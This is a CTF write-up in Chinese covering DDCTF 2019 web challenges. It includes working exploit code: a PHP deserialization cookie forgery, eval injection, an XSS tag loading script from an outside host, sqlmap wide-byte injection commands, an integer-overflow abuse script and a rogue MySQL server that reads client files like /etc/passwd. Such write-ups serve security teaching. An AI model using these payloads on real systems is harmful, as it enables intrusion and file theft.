DDCTF 2019 Web WriteUp - 先知社区

滴~ 这是一道脑洞题。。。

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
后面的字符串，可以两次base64解码，一次url解码

应该是文件包含，写了个转换的小脚本

import binascii
import base64
filename = input().encode(encoding='utf-8')

hexstr = binascii.b2a_hex(filename)

base1 = base64.b64encode(hexstr)

base2 = base64.b64encode(base1)

print(base2.decode())

一开始我读的是php://filter/read=convert.base64-encode/resource=index.php，但是没有任何返回，于是我直接读了index.php，发现图片data的协议存在数据，复制图片链接base64解码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

这道题是有一个原题的，https://www.jianshu.com/p/6a64e8767f8f
从原题可以知道这里是绕不过代码层面的，但是原题读取的是.idea文件夹，本题没有，然后这就是这道题最脑洞的地方，上面得CSDN的博客url是有作用的，并且第四行的日期和博文发布的时间不是对应的，需要去作者文章下这个日期的文章https://blog.csdn.net/FengBanLiuYun/article/details/80913909
在这篇文章里讲了vim的临时文件，并且文章提到了.practice.txt.swp这个文件，然后我试了半天swp,swo.swn,最后发现只要把前面的.去掉，访问http://117.51.150.246/practice.txt.swp
题目返回f1ag!ddctf.php，由于源码中会把config替换为!于是访问f1agconfigddctf.php编码形式再解码即可拿f1ag!ddctf.php源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

变量覆盖+php伪协议，?k=php://input&uid=1 post数据传1

WEB 签到题

考点是反序列化
直接访问提示没有访问权限，查看源代码，查看发起的网络请求发现了一个接口

发现一个ddctf_username的header头，改为admin访问这个接口

返回了一个文件名，访问返回了两个新文件的源代码

url:app/Application.php

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
?>



url:app/Session.php


<?php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();
?>

代码逻辑大概是自己写了个客户端session，如果符合一定标准则会反序列化请求的客户端session，Application的类的__destruct方法存在文件读取，传入的是path变量，111行存在反序列化操作，所以path变量可控，结合即可任意文件读取。但是要进行反序列化操作必须过107层的MD5判断，但是$this->eancrykey不知，118行和121行可以通过格式化字符串读取$this->eancrykey,$_POST["nickname"]传%s，这样第一次格式化%s还是被格式化为%s，第二次%s替换为$this->eancrykey

拿到了$this->eancrykey，我们就可以伪造任意客户端cookie，然后构造序列化字符串
需要注意的是，我们伪造的path变量必须为18为长度，并且代码会把../替换为空，注释提示flag文件在同一目录，猜测为../config/flag.txt
所以构造path为 ..././config/flag.txt,刚好替换后为flag地址，并且长度为18
exp:

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
    }

}
$class = unserialize(urldecode("a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22a266d530ea78089fca551da75c2713a4%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22222.18.127.50%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A73%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+rv%3A56.0%29+Gecko%2F20100101+Firefox%2F56.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0d90002f458ae1d96eb1dffdc081c822"));
$app = new Application();
$secret = "EzblrbNS";
$app->path = "..././config/flag.txt";
array_push($class,$app);
var_dump(md5($secret.serialize($class)));
var_dump(urlencode(serialize($class)));

先将服务端返回的cookie反序列化，然后往数组添加一个伪造的Application类，控制path参数，然后通过$this->eancrykey构造签名

homebrew event loop

这道题蛮有意思的，差点一血，被师傅抢先了一丢丢

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'


from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f88147e857'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack

class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

主要问题是46行，eval函数存在注入,可以通过#注释，我们可以传入路由action:eval#;arg1#arg2#arg3这样注释后面语句并可以调用任意函数，分号后面的#为传入参数，参数通过#被分割为参数列表
于是可以调用trigger_event函数，并且该函数参数可以为列表，调用trigger_event，可以发现trigger_event的参数依旧为函数，传入的函数名会被传入事件列表之后在事件循环中被执行，所以调用trigger_event并传入其他函数的话就相当于我们可以执行多个函数，首先执行buy_handler(5）,再执行get_flag_handler()，就可以绕过session['num_items'] >= 5的判断，然后flag会被传递到trigger_event函数并且被写入session['log'],要注意执行buy_handler函数后事件列表末尾会加入consume_point_function函数，在最后执行此函数时校验会失败，抛出RollBackException()异常，但是不会影响session的返回（做题时以为异常不会返回session想了好久）。然后再用p师傅的脚本解密session即可拿flag
exp:

Upload-IMG

访问后可以上传图片，一开始上传会题目会提示需要包含phpinfo()字符串，但是加入字符串后上传依旧提示未包含，下载下上传后的图片，hex查看发现经过了php-gd库渲染，我们加入的字符串在渲染的时候被删除。上网搜索的时候发现了一个工具
https://wiki.ioin.in/soft/detail/1q
可以用这个工具生成可以GD渲染处理后，依然能保留字符串的jpg，在py源码中把字符串改为phpinfo()，然后生成。但是一直失败，后面在这篇文章发现其实要看脸
https://paper.seebug.org/387/#2-php-gdwebshell
<
疯狂找图片，找了快100张了，然后在我用我博客的一张背景图的时候终于成功了

欢迎报名DDCTF

太脑洞了，太脑洞了，太脑洞了
一直以为是sql，直到用xss的exp发现有bot请求
在报名页面的备注里只对sql进行一点过滤，但是xss没有任何过滤，直接<script src=//xxxx></script>即可
通过xss平台读页面源码读到一个接口

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=
测了半天注入还是没东西，结果一堆人做出来后重新复测，注意到返回头GBK

然后就是宽字节注入
SQLmap加tamper都可以跑

#所有数据库名
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --dbs --hex

#数据库表名
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex -D "ctfdb" --tables

#字段名
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex -D "ctfdb" -T "ctf_fhmHRPL5" --columns

#flag
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex --sql-shell
sql-shell> select ctf_value from ctfdb.ctf_fhmHRPL5;

常规操作，注库名，表名，字段名（TCL）做的时候想的太复杂了，但是我的sqlmap最后这里不能直接--dump，所以我执行了--sql-shell自定义sql命令最终拿的flag
sqlmap宽字节注入自带的tamper是unmagicquotes
这里因为过滤了单引号，所以我们需要用--hex参数将字符串转为0x开头的16进制数字避开引号

大吉大利,今晚吃鸡~

cookie发现是go的框架，买东西回想起了护网杯的溢出，可以参考这篇文章
https://evoa.me/index.php/archives/4/
溢出了一下午，最后特别脑洞发现要用Go的无符号32位整形来溢出，42949672961,购买成功,然后返回了一个id和token，然后可以开始通过输入id和token淘汰选手，但是返回回来的id和token是自己的，并不能自己淘汰自己

这个时候突然脑洞大开，注册小号，购买入场券，然后淘汰小号的id和token发现成功
然后批量注册小号批量买入场券批量拿id和token给大号淘汰
我的脚本:

import requests
import time
for i in range(0,1000):
    print(i)
    url1 = "http://117.51.147.155:5050/ctf/api/register?name=evoa0{0}&password=xxxxxxxxxxxx".format(str(i))
    url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=42949672961"
    url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="
    url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?ticket={0}&id={1}"
    rep1 = requests.get(url1)

    cook1name = rep1.cookies["user_name"]
    cook1sess = rep1.cookies["REVEL_SESSION"]
    urlcookies={"user_name":cook1name,"REVEL_SESSION":cook1sess}

    rep2 = requests.get(url2,cookies=urlcookies)
    billid = rep2.json()['data'][0]["bill_id"]

    rep3 = requests.get(url3+billid,cookies=urlcookies)
    userid = rep3.json()['data'][0]["your_id"]
    userticket = rep3.json()['data'][0]["your_ticket"]
    time.sleep(1)
    rep4 = requests.get(url4.format(userticket,str(userid)),cookies={"user_name":"evoA002","REVEL_SESSION":"675dc6a259890db618c598e0cd9f9802"})
    print(url4.format(userticket,str(userid)))
    with open("chicken.txt","a") as txt:
        txt.write(str(userid) + ":" +userticket)
        txt.write("\n")

但是每次注册的小号不一定能成功，而且淘汰到后期id和token重复率会很高效率会很低，看脸了，滴滴会限制访问频率所以脚本sleep了一秒，但我还用了vps来帮忙跑所以还是比较快的，差不多半个小时不到就吃鸡了

mysql弱口令

一看到题目描述就想到了mysql服务端伪造
https://xz.aliyun.com/t/3277
然后网上找了个py脚本来伪造
https://www.cnblogs.com/apossin/p/10127496.html

#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

题目首先会给你一个agent.py，看源码知道这是一个验证服务端有没有运行mysql进程的文件，agent.py会使用8213端口，调用netstat -plnt命令查看进程和端口并返回给http请求，题目服务器先会请求你的vps上8123端口来验证是否开启mysql进程，所以直接把输出改为mysql的进程就可以绕过
result = [{'local_address':"0.0.0.0:3306","Process_name":"1234/mysqld"}]
运行上面的py就可以读文件了，题目表单输入的是你的vps地址和mysql端口

然后疯狂读文件，读了一下午啥都没有，读数据库文件发现只有字段和表名没有flag，后面想到有个/root/.mysql_history文件，尝试读取

就出flag了
不过这个好像是非预期解，正解应该是读取idb文件。而且读取了一下.bash_history和.viminfo文件还有新的收获，这个题目服务器上还运行着吃鸡的题目环境，还可以读取吃鸡的题目源码，flag高高的挂在里面。。